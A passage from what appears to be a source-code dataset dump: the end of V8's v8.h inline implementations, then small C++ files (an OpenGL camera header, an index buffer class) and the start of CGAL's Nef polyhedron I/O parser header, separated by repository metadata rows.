typedef typename WeakCallbackInfo<void>::Callback Callback;
V8::MakeWeak(reinterpret_cast<internal::Object**>(this->val_), parameter,
reinterpret_cast<Callback>(callback), type);
}
template <class T>
template <typename P>
P* PersistentBase<T>::ClearWeak() {
return reinterpret_cast<P*>(
V8::ClearWeak(reinterpret_cast<internal::Object**>(this->val_)));
}
template <class T>
void PersistentBase<T>::MarkIndependent() {
typedef internal::Internals I;
if (this->IsEmpty()) return;
I::UpdateNodeFlag(reinterpret_cast<internal::Object**>(this->val_),
true,
I::kNodeIsIndependentShift);
}
template <class T>
void PersistentBase<T>::MarkPartiallyDependent() {
typedef internal::Internals I;
if (this->IsEmpty()) return;
I::UpdateNodeFlag(reinterpret_cast<internal::Object**>(this->val_),
true,
I::kNodeIsPartiallyDependentShift);
}
template <class T>
void PersistentBase<T>::SetWrapperClassId(uint16_t class_id) {
typedef internal::Internals I;
if (this->IsEmpty()) return;
internal::Object** obj = reinterpret_cast<internal::Object**>(this->val_);
uint8_t* addr = reinterpret_cast<uint8_t*>(obj) + I::kNodeClassIdOffset;
*reinterpret_cast<uint16_t*>(addr) = class_id;
}
template <class T>
uint16_t PersistentBase<T>::WrapperClassId() const {
typedef internal::Internals I;
if (this->IsEmpty()) return 0;
internal::Object** obj = reinterpret_cast<internal::Object**>(this->val_);
uint8_t* addr = reinterpret_cast<uint8_t*>(obj) + I::kNodeClassIdOffset;
return *reinterpret_cast<uint16_t*>(addr);
}
template<typename T>
ReturnValue<T>::ReturnValue(internal::Object** slot) : value_(slot) {}
template<typename T>
template<typename S>
void ReturnValue<T>::Set(const Persistent<S>& handle) {
TYPE_CHECK(T, S);
if (V8_UNLIKELY(handle.IsEmpty())) {
*value_ = GetDefaultValue();
} else {
*value_ = *reinterpret_cast<internal::Object**>(*handle);
}
}
template<typename T>
template<typename S>
void ReturnValue<T>::Set(const Handle<S> handle) {
TYPE_CHECK(T, S);
if (V8_UNLIKELY(handle.IsEmpty())) {
*value_ = GetDefaultValue();
} else {
*value_ = *reinterpret_cast<internal::Object**>(*handle);
}
}
template<typename T>
void ReturnValue<T>::Set(double i) {
TYPE_CHECK(T, Number);
Set(Number::New(GetIsolate(), i));
}
template<typename T>
void ReturnValue<T>::Set(int32_t i) {
TYPE_CHECK(T, Integer);
typedef internal::Internals I;
if (V8_LIKELY(I::IsValidSmi(i))) {
*value_ = I::IntToSmi(i);
return;
}
Set(Integer::New(GetIsolate(), i));
}
template<typename T>
void ReturnValue<T>::Set(uint32_t i) {
TYPE_CHECK(T, Integer);
// Can't simply use INT32_MAX here for whatever reason.
bool fits_into_int32_t = (i & (1U << 31)) == 0;
if (V8_LIKELY(fits_into_int32_t)) {
Set(static_cast<int32_t>(i));
return;
}
Set(Integer::NewFromUnsigned(GetIsolate(), i));
}
template<typename T>
void ReturnValue<T>::Set(bool value) {
TYPE_CHECK(T, Boolean);
typedef internal::Internals I;
int root_index;
if (value) {
root_index = I::kTrueValueRootIndex;
} else {
root_index = I::kFalseValueRootIndex;
}
*value_ = *I::GetRoot(GetIsolate(), root_index);
}
template<typename T>
void ReturnValue<T>::SetNull() {
TYPE_CHECK(T, Primitive);
typedef internal::Internals I;
*value_ = *I::GetRoot(GetIsolate(), I::kNullValueRootIndex);
}
template<typename T>
void ReturnValue<T>::SetUndefined() {
TYPE_CHECK(T, Primitive);
typedef internal::Internals I;
*value_ = *I::GetRoot(GetIsolate(), I::kUndefinedValueRootIndex);
}
template<typename T>
void ReturnValue<T>::SetEmptyString() {
TYPE_CHECK(T, String);
typedef internal::Internals I;
*value_ = *I::GetRoot(GetIsolate(), I::kEmptyStringRootIndex);
}
template<typename T>
Isolate* ReturnValue<T>::GetIsolate() {
// Isolate is always the pointer below the default value on the stack.
return *reinterpret_cast<Isolate**>(&value_[-2]);
}
template<typename T>
template<typename S>
void ReturnValue<T>::Set(S* whatever) {
// Uncompilable to prevent inadvertent misuse.
TYPE_CHECK(S*, Primitive);
}
template<typename T>
internal::Object* ReturnValue<T>::GetDefaultValue() {
// Default value is always the pointer below value_ on the stack.
return value_[-1];
}
template<typename T>
FunctionCallbackInfo<T>::FunctionCallbackInfo(internal::Object** implicit_args,
internal::Object** values,
int length,
bool is_construct_call)
: implicit_args_(implicit_args),
values_(values),
length_(length),
is_construct_call_(is_construct_call) { }
template<typename T>
Local<Value> FunctionCallbackInfo<T>::operator[](int i) const {
if (i < 0 || length_ <= i) return Local<Value>(*Undefined(GetIsolate()));
return Local<Value>(reinterpret_cast<Value*>(values_ - i));
}
template<typename T>
Local<Function> FunctionCallbackInfo<T>::Callee() const {
return Local<Function>(reinterpret_cast<Function*>(
&implicit_args_[kCalleeIndex]));
}
template<typename T>
Local<Object> FunctionCallbackInfo<T>::This() const {
return Local<Object>(reinterpret_cast<Object*>(values_ + 1));
}
template<typename T>
Local<Object> FunctionCallbackInfo<T>::Holder() const {
return Local<Object>(reinterpret_cast<Object*>(
&implicit_args_[kHolderIndex]));
}
template<typename T>
Local<Value> FunctionCallbackInfo<T>::Data() const {
return Local<Value>(reinterpret_cast<Value*>(&implicit_args_[kDataIndex]));
}
template<typename T>
Isolate* FunctionCallbackInfo<T>::GetIsolate() const {
return *reinterpret_cast<Isolate**>(&implicit_args_[kIsolateIndex]);
}
template<typename T>
ReturnValue<T> FunctionCallbackInfo<T>::GetReturnValue() const {
return ReturnValue<T>(&implicit_args_[kReturnValueIndex]);
}
template<typename T>
bool FunctionCallbackInfo<T>::IsConstructCall() const {
return is_construct_call_ & 0x1;
}
template<typename T>
int FunctionCallbackInfo<T>::Length() const {
return length_;
}
Handle<Value> ScriptOrigin::ResourceName() const {
return resource_name_;
}
Handle<Integer> ScriptOrigin::ResourceLineOffset() const {
return resource_line_offset_;
}
Handle<Integer> ScriptOrigin::ResourceColumnOffset() const {
return resource_column_offset_;
}
Handle<Boolean> ScriptOrigin::ResourceIsEmbedderDebugScript() const {
return resource_is_embedder_debug_script_;
}
Handle<Boolean> ScriptOrigin::ResourceIsSharedCrossOrigin() const {
return resource_is_shared_cross_origin_;
}
Handle<Integer> ScriptOrigin::ScriptID() const {
return script_id_;
}
Handle<Value> ScriptOrigin::SourceMapUrl() const { return source_map_url_; }
ScriptCompiler::Source::Source(Local<String> string, const ScriptOrigin& origin,
CachedData* data)
: source_string(string),
resource_name(origin.ResourceName()),
resource_line_offset(origin.ResourceLineOffset()),
resource_column_offset(origin.ResourceColumnOffset()),
resource_is_embedder_debug_script(origin.ResourceIsEmbedderDebugScript()),
resource_is_shared_cross_origin(origin.ResourceIsSharedCrossOrigin()),
source_map_url(origin.SourceMapUrl()),
cached_data(data) {}
ScriptCompiler::Source::Source(Local<String> string,
CachedData* data)
: source_string(string), cached_data(data) {}
ScriptCompiler::Source::~Source() {
delete cached_data;
}
const ScriptCompiler::CachedData* ScriptCompiler::Source::GetCachedData()
const {
return cached_data;
}
Handle<Boolean> Boolean::New(Isolate* isolate, bool value) {
return value ? True(isolate) : False(isolate);
}
void Template::Set(Isolate* isolate, const char* name, v8::Handle<Data> value) {
Set(v8::String::NewFromUtf8(isolate, name), value);
}
Local<Value> Object::GetInternalField(int index) {
#ifndef V8_ENABLE_CHECKS
typedef internal::Object O;
typedef internal::HeapObject HO;
typedef internal::Internals I;
O* obj = *reinterpret_cast<O**>(this);
// Fast path: If the object is a plain JSObject, which is the common case, we
// know where to find the internal fields and can return the value directly.
if (I::GetInstanceType(obj) == I::kJSObjectType) {
int offset = I::kJSObjectHeaderSize + (internal::kApiPointerSize * index);
O* value = I::ReadField<O*>(obj, offset);
O** result = HandleScope::CreateHandle(reinterpret_cast<HO*>(obj), value);
return Local<Value>(reinterpret_cast<Value*>(result));
}
#endif
return SlowGetInternalField(index);
}
void* Object::GetAlignedPointerFromInternalField(int index) {
#ifndef V8_ENABLE_CHECKS
typedef internal::Object O;
typedef internal::Internals I;
O* obj = *reinterpret_cast<O**>(this);
// Fast path: If the object is a plain JSObject, which is the common case, we
// know where to find the internal fields and can return the value directly.
if (V8_LIKELY(I::GetInstanceType(obj) == I::kJSObjectType)) {
int offset = I::kJSObjectHeaderSize + (internal::kApiPointerSize * index);
return I::ReadField<void*>(obj, offset);
}
#endif
return SlowGetAlignedPointerFromInternalField(index);
}
String* String::Cast(v8::Value* value) {
#ifdef V8_ENABLE_CHECKS
CheckCast(value);
#endif
return static_cast<String*>(value);
}
Local<String> String::Empty(Isolate* isolate) {
typedef internal::Object* S;
typedef internal::Internals I;
I::CheckInitialized(isolate);
S* slot = I::GetRoot(isolate, I::kEmptyStringRootIndex);
return Local<String>(reinterpret_cast<String*>(slot));
}
String::ExternalStringResource* String::GetExternalStringResource() const {
typedef internal::Object O;
typedef internal::Internals I;
O* obj = *reinterpret_cast<O* const*>(this);
String::ExternalStringResource* result;
if (I::IsExternalTwoByteString(I::GetInstanceType(obj))) {
void* value = I::ReadField<void*>(obj, I::kStringResourceOffset);
result = reinterpret_cast<String::ExternalStringResource*>(value);
} else {
result = NULL;
}
#ifdef V8_ENABLE_CHECKS
VerifyExternalStringResource(result);
#endif
return result;
}
String::ExternalStringResourceBase* String::GetExternalStringResourceBase(
String::Encoding* encoding_out) const {
typedef internal::Object O;
typedef internal::Internals I;
O* obj = *reinterpret_cast<O* const*>(this);
int type = I::GetInstanceType(obj) & I::kFullStringRepresentationMask;
*encoding_out = static_cast<Encoding>(type & I::kStringEncodingMask);
ExternalStringResourceBase* resource = NULL;
if (type == I::kExternalOneByteRepresentationTag ||
type == I::kExternalTwoByteRepresentationTag) {
void* value = I::ReadField<void*>(obj, I::kStringResourceOffset);
resource = static_cast<ExternalStringResourceBase*>(value);
}
#ifdef V8_ENABLE_CHECKS
VerifyExternalStringResourceBase(resource, *encoding_out);
#endif
return resource;
}
bool Value::IsUndefined() const {
#ifdef V8_ENABLE_CHECKS
return FullIsUndefined();
#else
return QuickIsUndefined();
#endif
}
bool Value::QuickIsUndefined() const {
typedef internal::Object O;
typedef internal::Internals I;
O* obj = *reinterpret_cast<O* const*>(this);
if (!I::HasHeapObjectTag(obj)) return false;
if (I::GetInstanceType(obj) != I::kOddballType) return false;
return (I::GetOddballKind(obj) == I::kUndefinedOddballKind);
}
bool Value::IsNull() const {
#ifdef V8_ENABLE_CHECKS
return FullIsNull();
#else
return QuickIsNull();
#endif
}
bool Value::QuickIsNull() const {
typedef internal::Object O;
typedef internal::Internals I;
O* obj = *reinterpret_cast<O* const*>(this);
if (!I::HasHeapObjectTag(obj)) return false;
if (I::GetInstanceType(obj) != I::kOddballType) return false;
return (I::GetOddballKind(obj) == I::kNullOddballKind);
}
bool Value::IsString() const {
#ifdef V8_ENABLE_CHECKS
return FullIsString();
#else
return QuickIsString();
#endif
}
bool Value::QuickIsString() const {
typedef internal::Object O;
typedef internal::Internals I;
O* obj = *reinterpret_cast<O* const*>(this);
if (!I::HasHeapObjectTag(obj)) return false;
return (I::GetInstanceType(obj) < I::kFirstNonstringType);
}
template <class T> Value* Value::Cast(T* value) {
return static_cast<Value*>(value);
}
Local<Boolean> Value::ToBoolean() const {
return ToBoolean(Isolate::GetCurrent());
}
Local<Number> Value::ToNumber() const {
return ToNumber(Isolate::GetCurrent());
}
Local<String> Value::ToString() const {
return ToString(Isolate::GetCurrent());
}
Local<String> Value::ToDetailString() const {
return ToDetailString(Isolate::GetCurrent());
}
Local<Object> Value::ToObject() const {
return ToObject(Isolate::GetCurrent());
}
Local<Integer> Value::ToInteger() const {
return ToInteger(Isolate::GetCurrent());
}
Local<Uint32> Value::ToUint32() const {
return ToUint32(Isolate::GetCurrent());
}
Local<Int32> Value::ToInt32() const { return ToInt32(Isolate::GetCurrent()); }
Boolean* Boolean::Cast(v8::Value* value) {
#ifdef V8_ENABLE_CHECKS
CheckCast(value);
#endif
return static_cast<Boolean*>(value);
}
Name* Name::Cast(v8::Value* value) {
#ifdef V8_ENABLE_CHECKS
CheckCast(value);
#endif
return static_cast<Name*>(value);
}
Symbol* Symbol::Cast(v8::Value* value) {
#ifdef V8_ENABLE_CHECKS
CheckCast(value);
#endif
return static_cast<Symbol*>(value);
}
Number* Number::Cast(v8::Value* value) {
#ifdef V8_ENABLE_CHECKS
CheckCast(value);
#endif
return static_cast<Number*>(value);
}
Integer* Integer::Cast(v8::Value* value) {
#ifdef V8_ENABLE_CHECKS
CheckCast(value);
#endif
return static_cast<Integer*>(value);
}
Int32* Int32::Cast(v8::Value* value) {
#ifdef V8_ENABLE_CHECKS
CheckCast(value);
#endif
return static_cast<Int32*>(value);
}
Uint32* Uint32::Cast(v8::Value* value) {
#ifdef V8_ENABLE_CHECKS
CheckCast(value);
#endif
return static_cast<Uint32*>(value);
}
Date* Date::Cast(v8::Value* value) {
#ifdef V8_ENABLE_CHECKS
CheckCast(value);
#endif
return static_cast<Date*>(value);
}
StringObject* StringObject::Cast(v8::Value* value) {
#ifdef V8_ENABLE_CHECKS
CheckCast(value);
#endif
return static_cast<StringObject*>(value);
}
SymbolObject* SymbolObject::Cast(v8::Value* value) {
#ifdef V8_ENABLE_CHECKS
CheckCast(value);
#endif
return static_cast<SymbolObject*>(value);
}
NumberObject* NumberObject::Cast(v8::Value* value) {
#ifdef V8_ENABLE_CHECKS
CheckCast(value);
#endif
return static_cast<NumberObject*>(value);
}
BooleanObject* BooleanObject::Cast(v8::Value* value) {
#ifdef V8_ENABLE_CHECKS
CheckCast(value);
#endif
return static_cast<BooleanObject*>(value);
}
RegExp* RegExp::Cast(v8::Value* value) {
#ifdef V8_ENABLE_CHECKS
CheckCast(value);
#endif
return static_cast<RegExp*>(value);
}
Object* Object::Cast(v8::Value* value) {
#ifdef V8_ENABLE_CHECKS
CheckCast(value);
#endif
return static_cast<Object*>(value);
}
Array* Array::Cast(v8::Value* value) {
#ifdef V8_ENABLE_CHECKS
CheckCast(value);
#endif
return static_cast<Array*>(value);
}
Promise* Promise::Cast(v8::Value* value) {
#ifdef V8_ENABLE_CHECKS
CheckCast(value);
#endif
return static_cast<Promise*>(value);
}
Promise::Resolver* Promise::Resolver::Cast(v8::Value* value) {
#ifdef V8_ENABLE_CHECKS
CheckCast(value);
#endif
return static_cast<Promise::Resolver*>(value);
}
ArrayBuffer* ArrayBuffer::Cast(v8::Value* value) {
#ifdef V8_ENABLE_CHECKS
CheckCast(value);
#endif
return static_cast<ArrayBuffer*>(value);
}
ArrayBufferView* ArrayBufferView::Cast(v8::Value* value) {
#ifdef V8_ENABLE_CHECKS
CheckCast(value);
#endif
return static_cast<ArrayBufferView*>(value);
}
TypedArray* TypedArray::Cast(v8::Value* value) {
#ifdef V8_ENABLE_CHECKS
CheckCast(value);
#endif
return static_cast<TypedArray*>(value);
}
Uint8Array* Uint8Array::Cast(v8::Value* value) {
#ifdef V8_ENABLE_CHECKS
CheckCast(value);
#endif
return static_cast<Uint8Array*>(value);
}
Int8Array* Int8Array::Cast(v8::Value* value) {
#ifdef V8_ENABLE_CHECKS
CheckCast(value);
#endif
return static_cast<Int8Array*>(value);
}
Uint16Array* Uint16Array::Cast(v8::Value* value) {
#ifdef V8_ENABLE_CHECKS
CheckCast(value);
#endif
return static_cast<Uint16Array*>(value);
}
Int16Array* Int16Array::Cast(v8::Value* value) {
#ifdef V8_ENABLE_CHECKS
CheckCast(value);
#endif
return static_cast<Int16Array*>(value);
}
Uint32Array* Uint32Array::Cast(v8::Value* value) {
#ifdef V8_ENABLE_CHECKS
CheckCast(value);
#endif
return static_cast<Uint32Array*>(value);
}
Int32Array* Int32Array::Cast(v8::Value* value) {
#ifdef V8_ENABLE_CHECKS
CheckCast(value);
#endif
return static_cast<Int32Array*>(value);
}
Float32Array* Float32Array::Cast(v8::Value* value) {
#ifdef V8_ENABLE_CHECKS
CheckCast(value);
#endif
return static_cast<Float32Array*>(value);
}
Float64Array* Float64Array::Cast(v8::Value* value) {
#ifdef V8_ENABLE_CHECKS
CheckCast(value);
#endif
return static_cast<Float64Array*>(value);
}
Uint8ClampedArray* Uint8ClampedArray::Cast(v8::Value* value) {
#ifdef V8_ENABLE_CHECKS
CheckCast(value);
#endif
return static_cast<Uint8ClampedArray*>(value);
}
DataView* DataView::Cast(v8::Value* value) {
#ifdef V8_ENABLE_CHECKS
CheckCast(value);
#endif
return static_cast<DataView*>(value);
}
Function* Function::Cast(v8::Value* value) {
#ifdef V8_ENABLE_CHECKS
CheckCast(value);
#endif
return static_cast<Function*>(value);
}
External* External::Cast(v8::Value* value) {
#ifdef V8_ENABLE_CHECKS
CheckCast(value);
#endif
return static_cast<External*>(value);
}
template<typename T>
Isolate* PropertyCallbackInfo<T>::GetIsolate() const {
return *reinterpret_cast<Isolate**>(&args_[kIsolateIndex]);
}
template<typename T>
Local<Value> PropertyCallbackInfo<T>::Data() const {
return Local<Value>(reinterpret_cast<Value*>(&args_[kDataIndex]));
}
template<typename T>
Local<Object> PropertyCallbackInfo<T>::This() const {
return Local<Object>(reinterpret_cast<Object*>(&args_[kThisIndex]));
}
template<typename T>
Local<Object> PropertyCallbackInfo<T>::Holder() const {
return Local<Object>(reinterpret_cast<Object*>(&args_[kHolderIndex]));
}
template<typename T>
ReturnValue<T> PropertyCallbackInfo<T>::GetReturnValue() const {
return ReturnValue<T>(&args_[kReturnValueIndex]);
}
Handle<Primitive> Undefined(Isolate* isolate) {
typedef internal::Object* S;
typedef internal::Internals I;
I::CheckInitialized(isolate);
S* slot = I::GetRoot(isolate, I::kUndefinedValueRootIndex);
return Handle<Primitive>(reinterpret_cast<Primitive*>(slot));
}
Handle<Primitive> Null(Isolate* isolate) {
typedef internal::Object* S;
typedef internal::Internals I;
I::CheckInitialized(isolate);
S* slot = I::GetRoot(isolate, I::kNullValueRootIndex);
return Handle<Primitive>(reinterpret_cast<Primitive*>(slot));
}
Handle<Boolean> True(Isolate* isolate) {
typedef internal::Object* S;
typedef internal::Internals I;
I::CheckInitialized(isolate);
S* slot = I::GetRoot(isolate, I::kTrueValueRootIndex);
return Handle<Boolean>(reinterpret_cast<Boolean*>(slot));
}
Handle<Boolean> False(Isolate* isolate) {
typedef internal::Object* S;
typedef internal::Internals I;
I::CheckInitialized(isolate);
S* slot = I::GetRoot(isolate, I::kFalseValueRootIndex);
return Handle<Boolean>(reinterpret_cast<Boolean*>(slot));
}
void Isolate::SetData(uint32_t slot, void* data) {
typedef internal::Internals I;
I::SetEmbedderData(this, slot, data);
}
void* Isolate::GetData(uint32_t slot) {
typedef internal::Internals I;
return I::GetEmbedderData(this, slot);
}
uint32_t Isolate::GetNumberOfDataSlots() {
typedef internal::Internals I;
return I::kNumIsolateDataSlots;
}
int64_t Isolate::AdjustAmountOfExternalAllocatedMemory(
int64_t change_in_bytes) {
typedef internal::Internals I;
int64_t* amount_of_external_allocated_memory =
reinterpret_cast<int64_t*>(reinterpret_cast<uint8_t*>(this) +
I::kAmountOfExternalAllocatedMemoryOffset);
int64_t* amount_of_external_allocated_memory_at_last_global_gc =
reinterpret_cast<int64_t*>(
reinterpret_cast<uint8_t*>(this) +
I::kAmountOfExternalAllocatedMemoryAtLastGlobalGCOffset);
int64_t amount = *amount_of_external_allocated_memory + change_in_bytes;
if (change_in_bytes > 0 &&
amount - *amount_of_external_allocated_memory_at_last_global_gc >
I::kExternalAllocationLimit) {
CollectAllGarbage("external memory allocation limit reached.");
}
*amount_of_external_allocated_memory = amount;
return *amount_of_external_allocated_memory;
}
template<typename T>
void Isolate::SetObjectGroupId(const Persistent<T>& object,
UniqueId id) {
TYPE_CHECK(Value, T);
SetObjectGroupId(reinterpret_cast<v8::internal::Object**>(object.val_), id);
}
template<typename T>
void Isolate::SetReferenceFromGroup(UniqueId id,
const Persistent<T>& object) {
TYPE_CHECK(Value, T);
SetReferenceFromGroup(id,
reinterpret_cast<v8::internal::Object**>(object.val_));
}
template<typename T, typename S>
void Isolate::SetReference(const Persistent<T>& parent,
const Persistent<S>& child) {
TYPE_CHECK(Object, T);
TYPE_CHECK(Value, S);
SetReference(reinterpret_cast<v8::internal::Object**>(parent.val_),
reinterpret_cast<v8::internal::Object**>(child.val_));
}
Local<Value> Context::GetEmbedderData(int index) {
#ifndef V8_ENABLE_CHECKS
typedef internal::Object O;
typedef internal::HeapObject HO;
typedef internal::Internals I;
HO* context = *reinterpret_cast<HO**>(this);
O** result =
HandleScope::CreateHandle(context, I::ReadEmbedderData<O*>(this, index));
return Local<Value>(reinterpret_cast<Value*>(result));
#else
return SlowGetEmbedderData(index);
#endif
}
void* Context::GetAlignedPointerFromEmbedderData(int index) {
#ifndef V8_ENABLE_CHECKS
typedef internal::Internals I;
return I::ReadEmbedderData<void*>(this, index);
#else
return SlowGetAlignedPointerFromEmbedderData(index);
#endif
}
void V8::SetAllowCodeGenerationFromStringsCallback(
AllowCodeGenerationFromStringsCallback callback) {
Isolate* isolate = Isolate::GetCurrent();
isolate->SetAllowCodeGenerationFromStringsCallback(callback);
}
bool V8::IsDead() {
Isolate* isolate = Isolate::GetCurrent();
return isolate->IsDead();
}
bool V8::AddMessageListener(MessageCallback that, Handle<Value> data) {
Isolate* isolate = Isolate::GetCurrent();
return isolate->AddMessageListener(that, data);
}
void V8::RemoveMessageListeners(MessageCallback that) {
Isolate* isolate = Isolate::GetCurrent();
isolate->RemoveMessageListeners(that);
}
void V8::SetFailedAccessCheckCallbackFunction(
FailedAccessCheckCallback callback) {
Isolate* isolate = Isolate::GetCurrent();
isolate->SetFailedAccessCheckCallbackFunction(callback);
}
void V8::SetCaptureStackTraceForUncaughtExceptions(
bool capture, int frame_limit, StackTrace::StackTraceOptions options) {
Isolate* isolate = Isolate::GetCurrent();
isolate->SetCaptureStackTraceForUncaughtExceptions(capture, frame_limit,
options);
}
void V8::SetFatalErrorHandler(FatalErrorCallback callback) {
Isolate* isolate = Isolate::GetCurrent();
isolate->SetFatalErrorHandler(callback);
}
void V8::RemoveGCPrologueCallback(GCPrologueCallback callback) {
Isolate* isolate = Isolate::GetCurrent();
isolate->RemoveGCPrologueCallback(
reinterpret_cast<v8::Isolate::GCPrologueCallback>(callback));
}
void V8::RemoveGCEpilogueCallback(GCEpilogueCallback callback) {
Isolate* isolate = Isolate::GetCurrent();
isolate->RemoveGCEpilogueCallback(
reinterpret_cast<v8::Isolate::GCEpilogueCallback>(callback));
}
void V8::AddMemoryAllocationCallback(MemoryAllocationCallback callback,
ObjectSpace space,
AllocationAction action) {
Isolate* isolate = Isolate::GetCurrent();
isolate->AddMemoryAllocationCallback(callback, space, action);
}
void V8::RemoveMemoryAllocationCallback(MemoryAllocationCallback callback) {
Isolate* isolate = Isolate::GetCurrent();
isolate->RemoveMemoryAllocationCallback(callback);
}
void V8::TerminateExecution(Isolate* isolate) { isolate->TerminateExecution(); }
bool V8::IsExecutionTerminating(Isolate* isolate) {
if (isolate == NULL) {
isolate = Isolate::GetCurrent();
}
return isolate->IsExecutionTerminating();
}
void V8::CancelTerminateExecution(Isolate* isolate) {
isolate->CancelTerminateExecution();
}
void V8::VisitExternalResources(ExternalResourceVisitor* visitor) {
Isolate* isolate = Isolate::GetCurrent();
isolate->VisitExternalResources(visitor);
}
void V8::VisitHandlesWithClassIds(PersistentHandleVisitor* visitor) {
Isolate* isolate = Isolate::GetCurrent();
isolate->VisitHandlesWithClassIds(visitor);
}
void V8::VisitHandlesWithClassIds(Isolate* isolate,
PersistentHandleVisitor* visitor) {
isolate->VisitHandlesWithClassIds(visitor);
}
void V8::VisitHandlesForPartialDependence(Isolate* isolate,
PersistentHandleVisitor* visitor) {
isolate->VisitHandlesForPartialDependence(visitor);
}
/**
* \example shell.cc
* A simple shell that takes a list of expressions on the
* command-line and executes them.
*/
/**
* \example process.cc
*/
} // namespace v8
#undef TYPE_CHECK
#endif // V8_H_
|
[
"w.goesgens@arangodb.org"
] |
w.goesgens@arangodb.org
|
e3bf6e1ce94c2e990df306d348f9fcf44a684cf0
|
a409a94f4df9c7e115a1970a39e7eced07f3ae2d
|
/camera.h
|
fde4898af570f3d4f6c93c3b7c63a4f4592d26be
|
[] |
no_license
|
Arik13/QTGrapher
|
8097fd585c02458af908beede4dd86036c32d714
|
4d4002e3f27acb1cf32222e4f5113babcc874128
|
refs/heads/master
| 2021-01-02T11:09:02.061141
| 2020-02-10T23:24:31
| 2020-02-10T23:24:31
| 239,595,051
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 553
|
h
|
#ifndef CAMERA_H
#define CAMERA_H
#include <glm/glm.hpp>
#include <glm/gtc/matrix_transform.hpp>
/*
* Keeps track of its own position and orientation in vector space. Takes commands to move or rotate
* and gives back a 4D MVP matrix that is used by openGL to render vertex objects to the screen
*/
class Camera {
public:
Camera();
glm::mat4 MVP(float* directions, float dYawAngle, float dPitchAngle);
private:
glm::vec3 position;
float yawAngle;
float pitchAngle;
float flySpeed;
float turnSpeed;
};
#endif // CAMERA_H
|
[
"ariksven@gmail.com"
] |
ariksven@gmail.com
|
e21902caf2b671b1b4bb62e8d2272e1ed7d9bdcb
|
32beea5d70cabbae6922e0772633768eec77c815
|
/libopenglwrapper/src/IndexBuffer.cpp
|
0dc2fad9f69732a7cf5002eae34ccfc35ad5eec9
|
[] |
no_license
|
bartekordek/OpenGLWrapper
|
2d11acf613dbf569d1499694521284364d66229b
|
4b08a49418c5cbbbfafa88d38f426ef10d07d3db
|
refs/heads/master
| 2022-05-20T12:49:09.851558
| 2022-04-18T10:51:12
| 2022-04-18T10:51:12
| 134,599,791
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 605
|
cpp
|
#include "libopenglwrapper/IndexBuffer.hpp"
using namespace LOGLW;
IndexBuffer::IndexBuffer()
{
}
void IndexBuffer::loadData( DataType& data )
{
m_data = std::move( data );
m_id = getUtility()->generateAndBindBuffer( LOGLW::BufferTypes::ELEMENT_ARRAY_BUFFER );
//TODO: find if size is matching.
//auto indicesSize = sizeof( m_data[0] ) * m_data.size();
getUtility()->bufferData( m_id, m_data, BufferTypes::ELEMENT_ARRAY_BUFFER );
}
const IndexBuffer::DataType& IndexBuffer::getData() const
{
return m_data;
}
IndexBuffer::~IndexBuffer()
{
}
|
[
"bartekordek@gmail.com"
] |
bartekordek@gmail.com
|
8549a9492fc61d60960ceb564ceabd6c462de154
|
c03615f53093643e3c1e323b83cbe77970966575
|
/PRT/3rdParty/cgal/cgal/include/CGAL/Nef_3/SNC_io_parser.h
|
2cbc4ff96a32ca914db2986907760b058170402a
|
[] |
no_license
|
fangguanya/PRT
|
0925b28671e756a6e9431fd57149cf2eebc94818
|
77c1b8e5f3a7a149825ad0cc3ef6002816222622
|
refs/heads/master
| 2021-06-08T20:54:22.954395
| 2016-11-24T07:38:11
| 2016-11-24T07:38:11
| null | 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 67,339
|
h
|
// Copyright (c) 1997-2002 Max-Planck-Institute Saarbruecken (Germany).
// All rights reserved.
//
// This file is part of CGAL (www.cgal.org).
// You can redistribute it and/or modify it under the terms of the GNU
// General Public License as published by the Free Software Foundation,
// either version 3 of the License, or (at your option) any later version.
//
// Licensees holding a valid commercial license may use this file in
// accordance with the commercial license agreement provided with the software.
//
// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE
// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.
//
// $URL$
// $Id$
//
//
// Author(s) : Michael Seel <seel@mpi-sb.mpg.de>
// Miguel Granados <granados@mpi-sb.mpg.de>
// Susan Hert <hert@mpi-sb.mpg.de>
// Lutz Kettner <kettner@mpi-sb.mpg.de>
#ifndef CGAL_SNC_IO_PARSER_H
#define CGAL_SNC_IO_PARSER_H
#include <CGAL/basic.h>
#include <CGAL/Unique_hash_map.h>
#include <CGAL/Nef_S2/SM_decorator.h>
#include <CGAL/Nef_3/SNC_structure.h>
#include <CGAL/Nef_3/SNC_decorator.h>
#include <CGAL/Nef_3/SNC_constructor.h>
#include <CGAL/Nef_2/Object_index.h>
#include <CGAL/Nef_S2/Normalizing.h>
#include <vector>
#include <CGAL/Fraction_traits.h>
#include <CGAL/Homogeneous_converter.h>
#include <CGAL/Cartesian_converter.h>
#undef CGAL_NEF_DEBUG
#define CGAL_NEF_DEBUG 293
#include <CGAL/Nef_2/debug.h>
#ifndef CGAL_I_DO_WANT_TO_USE_GENINFO
#include <boost/any.hpp>
#endif
#include <boost/mpl/has_xxx.hpp>
namespace CGAL {
template <class NT> class Lazy_exact_nt;
class Homogeneous_tag;
class Cartesian_tag;
template <class T> struct Simple_cartesian;
template <class T1, class T2> struct Simple_homogeneous;
template <class RT> class Quotient;
namespace Nef_3_internal{
BOOST_MPL_HAS_XXX_TRAIT_NAMED_DEF(Has_nested_Exact_kernel,Exact_kernel,false)
template <class R,bool has_exact_kernel=Has_nested_Exact_kernel<R>::value, class FT = typename R::RT, class Kernel_tag=typename R::Kernel_tag>
struct Type_converter{
typedef const CGAL::Point_3<R>& Point_3;
typedef const CGAL::Vector_3<R>& Vector_3;
typedef const CGAL::Plane_3<R>& Plane_3;
static Point_3 convert(Point_3 p){return p;}
static Plane_3 convert(Plane_3 p){return p;}
static Vector_3 convert(Vector_3 v){return v;}
};
template <class R>
struct Type_converter<R, true>{
typedef CGAL::Point_3<typename R::Exact_kernel> Point_3;
typedef CGAL::Plane_3<typename R::Exact_kernel> Plane_3;
typedef CGAL::Vector_3<typename R::Exact_kernel> Vector_3;
static Point_3 convert(const CGAL::Point_3<R>& p){return p.exact();}
static Plane_3 convert(const CGAL::Plane_3<R>& p){return p.exact();}
static Vector_3 convert(const CGAL::Vector_3<R>& v){return v.exact();}
};
template <class R, class NT>
struct Type_converter<R, false, ::CGAL::Lazy_exact_nt<NT>, ::CGAL::Cartesian_tag >{
typedef CGAL::Simple_cartesian< NT > EK;
